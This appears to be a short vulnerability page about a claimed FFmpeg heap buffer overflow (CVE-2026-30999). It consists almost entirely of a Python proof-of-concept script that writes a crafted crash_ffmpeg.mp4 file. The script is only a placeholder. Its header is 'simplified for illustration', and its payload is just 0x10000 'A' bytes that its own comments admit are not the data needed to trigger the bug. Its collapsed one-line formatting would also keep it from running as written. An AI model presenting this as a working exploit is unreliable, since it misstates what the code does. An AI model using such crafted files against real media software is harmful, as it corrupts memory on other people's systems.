CVE-2026-30999 FFmpeg堆缓冲区溢出漏洞

import struct # PoC to trigger heap buffer overflow in av_bprint_finalize # This script generates a crafted file designed to corrupt memory def generate_poc_file(filename): with open(filename, 'wb') as f: # File header (simplified for illustration) f.write(b'\x00\x00\x00\x20') # Malicious payload designed to trigger the overflow # In a real scenario, this would be specific data that causes BPrint to miscalculate size overflow_payload = b'A' * 0x10000 f.write(overflow_payload) print(f"[+] PoC file generated: {filename}") if __name__ == "__main__": generate_poc_file("crash_ffmpeg.mp4")